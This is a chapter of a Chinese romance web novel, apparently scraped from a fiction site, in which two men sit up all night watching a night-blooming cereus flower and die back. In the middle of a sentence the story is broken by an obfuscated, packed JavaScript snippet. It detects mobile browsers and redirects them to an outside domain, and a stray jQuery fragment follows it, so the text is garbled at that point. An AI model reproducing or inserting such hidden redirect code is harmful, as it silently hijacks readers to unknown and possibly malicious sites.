文趣网 > 都市小说 > 伪装男神白月光 > 13.第 13 章
    夜色真的很美。

    月色、晚风、玫瑰,还有洁白的昙花。

    陆时峥的那一句话,在白榆心里掀起滔天巨浪,他感受到手脚一阵发麻,就连心脏似乎都无法自主跳动。

    他不知道能不能跟陆时峥“一起”幸福下去,他可以肯定,他现在一定很幸福。

    幸福得喘不过气来。

    他已经很多年没有感受过幸福了,也一度以为自己再也不会拥有幸福。

    白榆使劲呼了口气,努力让自己冷静下来。

    昙花在月色下舒展身体,它的花瓣跟玫瑰全然不同,是纯洁的素白,有点像窄叶的莲花,一片片舒展开来,在幽静的月色下跳舞。

    它好像在发光。

    更不用说那股子沁人心脾的幽香了。

    霸道的香味无孔不入,把玫瑰芬芳都掩盖了三分。

    昙花一现,真是见之难忘。

    白榆沉浸在这美景之中,心中的紧张和澎湃都随之散去。

    两个人都没有开口,即便陆时峥看不见,也顺着幽香,看向那一丛迟迟绽放的昙花。

    只安静了片刻,陆时峥就感叹:“怎么感觉更香了?”

    白榆回过神来。

    他发现自己还握着陆时峥的手,忙说了一句抱歉。

    等他松开,才说:“昙花花香会随着绽放的时间逐渐加重,大概三四个小时完全盛开,几个小时后就会凋零。”

    陆时峥点了点头。

    白榆看向陆时峥,见他对昙花盛开也很喜悦,想了想,就说:“陆先生,我们要不要陪着它走过这一生?”

    这个说法好浪漫。

    浪漫得陆时峥这种人,也跟着心软了。

    他动了动手指,感受到手腕上的热力逐渐消散,说:“好。”

    昙花的花开时间有长有短。

    玫瑰园的这一株不是长时间盛开的品种,应该不会盛开一整夜。

    白榆跑了两趟,拿了小毯子和白茶,又取了岚姨做的酥饼点心,当宵夜。

    “午夜茶话会吗?”

    陆时峥笑着说,他摸索着端起茶杯,轻轻抿了一口。

    温热的茶汤干净清甜,很像……很像白榆这个人。

    其实他刚才没有说实话。

    白榆之与他,好像并不是盲盒。

    他并不记得当年这位沈学弟的样貌,但这些时日的相处,他心里已经能清晰勾画出一个明确的沈学弟了。

    比他矮小半个头的身高,大概一米七八左右,身材比较消瘦,但并不单薄。

    他的头围不大,跟肩宽应该是一个非常完美的比例。

    这是陆时峥用手丈量出来的。

    应该准确。

    他无法想象出白榆的样貌,却知道他一定是个让人很容易亲近的人。

    笑起来的时候肯定很阳光,很有亲和力。

    眼睛一定很明亮。

    他这种心硬如铁的人,都不想让对方着急难过。

    尤其是他急切质问他是不是失眠的时候,他清晰感受到了白榆的关心。

    当时他一下子就心软了,下意识说了实话。

    想到这里,陆时峥呼了口气。

    你也有今天,陆时峥,你也会心软啊。

    陆时峥觉得不可思议,可又有一点说不清道不明的雀跃。

    好像小狗蹲在池塘边,一次次伸出小爪子,犹豫着是否要下水。

    白榆听到他的呼气,偏过头来看他:“冷吗?”

    陆时峥摇了摇头:“开得怎么样了?”

    白榆仔细看了看,说:“快全开了,已经很香了。”

    “是啊,现在品茶,都是昙花香味,”陆时峥肯定道,“难怪这么多人喜欢,确实是不可多得的惊喜。”

    白榆没说话,只帮他把有些掉落的毯子拉了拉。

    他安静看了一会儿昙花,心中一动,忽然说:“凌晨一点,我看见韦陀花未眠。”①

    陆时峥有些惊讶,却觉得他这个化用恰到好处:“你还读过《花未眠》?”

    白榆倒是不奇怪他知道这句名句,说:“闲暇时候读过。”

    陆时峥无声笑了一下,嗓音低沉:“自然的美是无限的,人感受到的美却是有限的。”②

    白榆看向陆时峥:“陆先生,你感受到了无限的美吗?”

    空气幽香弥漫,虫鸣轻缓,微风拂过凉亭,吹动了遥远的风铃。

    叮铃铃。

    “感受到了。”

    不用眼睛,也能看见世界之美。

    白榆看着他俊朗的眉眼,忽然拿出了手机。

    他的手机拍照没有声音,借着满园月色,他留下了陆时峥安静浅笑的侧颜。

    一连拍了好几张,白榆就觉得很满足。

    他刚要收起手机,就听到陆时峥说:“夜景拍出来,好看吗?”

    白榆吓了一跳,手上一抖,差点把手机扔到地上。

    “你……”

    陆时峥偏过头,好像在看他。

    “不知道这一株昙花以后还开不开了,或许,这是我唯一一次能遇到昙花一现的机会,”陆时峥平静笑了一下,“可惜,我没办法亲眼见到。”

    “我来试一试。”

    白榆没有让陆时峥解释更多,他打开昙花那一侧的路灯,蹲在地上仔细找角度。

    因为光线还算充足,能把花朵拍清楚,甚至因为是在深夜里,所以花朵自带了光效。

    如梦如幻。

    无论选什么角度,拍出来都好看。

    白榆甚至还拍了一小段视频。

    “现在是十月二十日凌晨一点半,玫瑰园昙花一现,拍照留念。”

    他偷偷的,私心留下了独属于沈看护的声音。

    也算是留下一点点小痕迹。

    录完视频,他回到凉亭,弯腰对陆时峥说:“陆先生,我扶着你过去,跟昙花一起拍一张照吧。”

    陆时峥本来也只是想让他拍昙花,没想到他神来一笔,顿时摇头:“不用。”

    白榆笑了一下,难得没听他的。

    等陆时峥被他半推半就安排蹲到昙花边上,白榆几乎要笑出声。

    其实陆时峥这个人,脾气真的很好。

    他不会轻易生气的。

    “陆先生,顺着我的声音转头。”

    白榆的声音清亮,在寂静的深夜里尤其清晰。

    很好寻找,不会迷路。

    陆时峥偏过头,定定看向前方。

    月色温柔,掩盖了他眼眸中的迷茫,他身上好似笼罩了一层薄纱,云里雾里,飘逸出尘。

    嘭、嘭、嘭。

    白榆一连拍了好几张,说:“好了,陆先生你别动,等我过去扶你。”

    陆时峥依旧看着他,忽然说:“过来。”

    “什么?”

    白榆看了一下自己拍的照片,没有听清。

    陆时峥声音低沉:“我说,过来。”

    顿了顿,陆时峥笑了一下:“我们一起拍一张吧。”

    白榆感觉刚平稳下去的心跳,再度剧烈跳动。

    “陆先生……”

    “好不容易有这种机会,留个纪念挺好的,过来吧。”

    白榆几乎是下意识,走到了昙花的另一边。

    跟陆时峥合影的诱惑太大,让白榆完全没有心思拒绝。

    他也不想拒绝。

    他蹲下来,举起手机,开始寻找角度。

    陆时峥不好动,只能他来动。

    很快,白榆就找到了最佳角度。

    手机屏幕上,他在前,左边是昙花,陆时峥半靠在昙花一侧,洁白的花叶正好落在他下

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17781844|209616||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    巴上。

    路灯的光晕洒在他跟昙花身上,好像天使的羽翼。

    白榆直接了当按下拍照。

    他手指按动飞快,在按第三下的时候,陆时峥正好回过头,隔着昙花看向了他。

    因为角度的关系,陆时峥看起来格外温柔。

    他们两个人跟一丛昙花,就在这静谧的月夜里相遇了。

    白榆再度听到自己强劲的心跳,他几乎是逃避似得,猛地站起身来。

    “拍好了,回去吧。”

    陆时峥还看着他,等了一会儿,说:“好。”

    白榆曾经有过失眠的症状,他治疗了大概两年时间,后来靠药物和繁忙的工作慢慢痊愈了。

    自从康复之后,他就不敢再随便熬夜,除非工作实在做不完。

    所以即便再心动,再喜悦,再觉得幸福,在深夜的凉亭里坐上两三个小时,他还是困了。

    陆时峥倒是一直半阖着眼,靠在柱子上一言不发。

    白榆开始有一下,没一下地点头。

    他自己都不知道,自己是什么时候入睡的。

    陆时峥一直在安静聆听花开的声音。

    直到身边的人呼吸变得绵长,他才幽幽叹了口气。

    他以前就容易失眠,只不过没有那么严重,大多数时候还是能保证六个小时睡眠的。

    这几天来,他一直无法入睡,能摸清白榆的睡眠习惯。

    白榆作息规律,这会儿肯定困了。

    让他睡觉偏不去睡,非要陪他。

    可真犟。

    不过,这种感觉挺好的。

    陆时峥无数次熬夜工作,偶尔也有下属陪同,但是从来没有人陪着他三更半夜赏花。

    怎么说呢?

    还挺开心的。

    更何况昙花开了。

    陆时峥无声笑了一下,从毯子下伸出手,摸了摸白榆的毯子,轻巧帮他盖好。

    白榆感觉自己睡得很飘,忽然一个激灵,他整个人就清醒过来。

    “唔。”他下意识叹息一声,随即就睁开眼睛。

    “我睡着了吗?”

    白榆问陆时峥。

    睡前睡后,陆时峥都是一个姿势。

    “睡了一会儿,不算太久,你看一下花开的情况。”

    白榆立即站起身,然后有些遗憾地感叹:“陆先生,花要败了。”

    昙花就是这样的。

    无论多么美丽,生命从来短暂。

    陆时峥点点头,说:“睡了一觉,觉得冷吗?如果冷的话要吃药。”

    “好。”

    两个人说了会儿话,白榆觉得有点饿了。

    他吃了两块点心,又帮陆时峥拿了一块,等两人吃完,昙花还在缓慢衰败。

    白榆忽然觉的好可惜。

    “如果能跟玫瑰一样,开上三五天,生命延长一些,或许会有更多人喜欢。”

    陆时峥问:“为什么需要更多人喜欢?”

    为什么呢?

    白榆回答不上来。

    陆时峥没有继续说下去。

    可能是想要看到最后,白榆这一次没有犯困,一个小时之后,两朵曾经盛放的昙花逐渐回缩成花开之前的样子。

    花朵垂着头,已经失去了所有的光彩。

    五个小时,昙花一现结束了。

    白榆呼了口气。

    他看向陆时峥,所有的幸福和喜悦都悄然离去。

    此时只留下一切都结束了怅然。

    他自己都不知道,自己可以这么矫情。

    陆时峥听到他的叹息声,问:“结束了?”

    白榆嗯了一声。

    “结束了啊。”

    陆时峥轻笑了起来:“真好,我们陪着它,过完了完整的一生。”

    “真有意义。”